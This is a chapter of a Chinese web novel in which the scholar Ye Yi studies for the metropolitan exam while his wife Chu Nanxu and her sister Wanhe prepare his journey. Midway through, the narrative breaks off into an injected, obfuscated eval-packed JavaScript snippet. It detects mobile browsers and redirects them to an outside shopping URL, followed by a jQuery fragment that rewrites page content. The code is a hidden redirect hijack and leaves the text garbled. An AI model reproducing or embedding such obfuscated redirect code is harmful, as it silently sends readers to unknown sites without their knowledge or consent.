秋去冬来，姑苏城褪去秋日的桂香暖意，落了几场绵密的清寒细雨，街边梧桐叶尽数泛黄飘落，青砖黛瓦间覆上薄薄一层霜气，寒风乍起，满城皆是深冬的清寂。
自秋闱闱场放榜，叶祎稳稳拿下府学解额，一举得中举人，叶家短暂的庆贺喧嚣落定后，便重回往日沉静的日子。他深知，解试中举不过是科举路途的第一阶，来年春日由礼部主持的省试，才是真正汇聚天下举子的硬仗。
省试遴选严苛，录取名额稀少，天下才子齐聚京城，经义、论、策、诗赋全方位考量，一旦得中，便能跻身殿试，面圣策对，真正踏入仕途。这份分量，远比州府解试更重，叶祎半点不敢松懈，彻底推却了所有亲友宴请、邻里应酬，闭门谢客，一心埋首书卷，全力备战。
他的作息比往日更为规整严苛：天刚蒙蒙亮，不等晨鸡报晓，便披衣起身，在窗前就着微光诵读儒家经典、历代策论，理清文脉要义，熟记经义注解；白日天光正好，便伏案研习历年省试真题，梳理时政见解，斟酌行文逻辑，一笔一划书写策论，字字打磨，句句推敲；暮色降临，屋内点起蜜蜡油灯，灯火摇曳，他依旧端坐案前，温书练字，直至夜半更深，烛火燃尽大半，才肯歇息。
案头书卷堆得满满当当，经史子集、注疏典籍、时务策文分门别类摆放整齐，笔尖墨痕未干，砚台里的墨汁日日换新，冬日寒气侵骨，他却心无旁骛，全然沉浸在学识积淀之中。即便中举扬名，他依旧是往日那般温润谦和的模样，没有半分骄矜，没有一丝浮躁，宠辱不惊，只守着一方书桌，尽书生本分。
初南絮从不去惊扰他的苦读，只默默将他的起居饮食、家中琐事照料得无微不至，做他最稳固的后盾。
她深知冬日寒窗苦读耗神伤体，便在饮食上费尽心思，每日变着花样做温补暖胃的吃食：清晨熬煮绵密的核桃桂圆粥，健脾益气、提神健脑；午后备好红枣山药糕、杏仁酪，垫腹养胃；傍晚炖上老鸭汤、排骨汤、当归乌鸡汤，撇去浮油，清淡滋补，为他补充体力；夜里他温书至深夜，便守在灶间，温着一碗桂圆甜汤，待他稍作歇息时，端到他面前，暖手暖胃。
怕他整日伏案久坐，气血不畅，她特意寻来柔软的棉垫，铺在座椅上；冬日窗缝漏风，便用棉布封严窗棂，屋内摆上炭火盆，将室温烘得暖意融融，却又时刻留意通风，不让炭气侵扰；每隔一个时辰，便轻手轻脚走到书房，递上温凉适中的茶水，轻声提醒他起身远眺、舒展筋骨，切莫熬坏了双眼与身子。
而筹备上京赶考的行装，她更是提前数月便开始张罗，事事想得周全细致，无一疏漏。
她知晓北方冬日远比姑苏凛冽，寒风刺骨，便拆了自家积攒的上好棉花，选用柔软亲肤的细棉布，连夜赶制厚实的棉袍、贴身的棉护膝、裹脚的暖棉袜，连袖口、领口都缝得严实，抵御一路风寒；又寻来防水的粗布，缝制行囊书套，将笔墨纸砚、应试文卷、常用典籍仔细包裹，防止路途雨雪打湿；还备下轻便耐磨的布鞋、挡风的斗笠、防雨的油纸伞、擦身的软布巾，小到针线包、伤药、驱虫香包，都一一备齐。
晚禾也寸步不离地跟着姐姐忙活，半点不肯偷懒。她手脚麻利，帮着姐姐晾晒棉衣、缝补帕子、缝制干粮，将自家腌制的肉干、晒干的果脯、烘烤的麦饼仔细用油纸包好，一层一层码进行囊，塞得满满当当，生怕姐夫路上饿着冻着。
“姐姐，这些肉干耐放，麦饼干爽，路上吃着方便，我多装些，姐夫一路北上，就能时时吃到家乡的味道。”晚禾一边打包，一边轻声念叨，眼底满是真切的关切，“北方冷，我再帮姐姐缝几双厚袜，让姐夫路上腿脚暖和。”
她依旧每日按时打理南絮酒肆，招呼食客、擦拭桌椅、结算账目、烹制小菜，将酒肆生意打理得井井有条，从不让初南絮分心。她心里清楚，唯有自己把酒肆照看好，姐姐才能安心照料姐夫，安心筹备上京的一切事宜，姐妹二人同心协力，守好这个小家，让叶祎全无后顾之忧。
叶家二老也时时挂念，每日都会过来探望，从不进书房打扰，只拉着初南絮的手，轻声叮嘱：“祎儿专心读书，你也要顾着自己的身子，莫要太过操劳，家里有我们搭把手，凡事慢慢来。”他们从不多问备考进展，只盼着儿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525027|203446||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身心康健，儿媳安稳顺遂。
沈兄与林兄两位同窗，也时常登门探望，从不喧闹打扰，只是偶尔在庭院中，与叶祎探讨课业疑难、分享时政见解，相互勉励打气，约定来年京城再会，一同赴考，彼此照应。
这日，暖阳透过窗棂，洒进屋内，暖意融融。
初南絮将筹备了数月的行装，一一整理妥当：厚实的棉衣棉裤、护膝暖袜分门别类叠放，书箱里笔墨典籍整齐摆放，干粮银两、路引文书、常备药材各司其位，整个行囊规整利落，无一遗漏。
她轻轻摩挲着行囊边角，眼底藏着淡淡的不舍，却依旧眉眼坚定，没有半分牵绊怨言。
叶祎温书间隙，走到她身边，俯身轻轻握住她微凉的手，掌心的暖意包裹住她。看着眼前为自己倾尽心力、默默付出的妻子，又看向一旁忙碌的晚禾，心中满是动容与愧疚。
“让你独自在家，既要照料双亲，又要打理客栈酒肆，还要为我操劳行装，实在辛苦你了。”
初南絮抬眸，眉眼温柔，轻轻摇头：“夫妻本是一体，你为前程寒窗苦读，我为你守好小家，本就是分内之事。家中一切有我、晚禾，还有爹娘，你尽可安心备考，一路保重自身，平安为重。无论省试结果如何，我与家人，都在家中等你平安归来。”
“姐夫放心！”晚禾端着热茶走进来，扬起笑脸，语气笃定，“我会好好帮姐姐照看酒肆，照顾爹娘，绝不让家里有半分琐事烦扰你。你只管安心赴考，我们都相信你一定能顺遂如愿！”
叶祎看着眼前温柔坚韧的妻子，懂事贴心的晚禾，心中愈发坚定。
寒窗苦读，所求从不止是金榜题名、仕途功名，更是守护好眼前这份烟火温情，守护好这个安稳温暖的小家。
深冬的寒气被隔绝在屋外，屋内灯火可亲，三餐温暖，
一边是沉心治学、心怀远志的寒窗坚守，
一边是悉心照料、默默守候的温情相伴，
行囊渐满，初心不改，
只待来年春风拂过江南，便整装北上，远赴京华，赴一场前程之约，守一份归家之诺。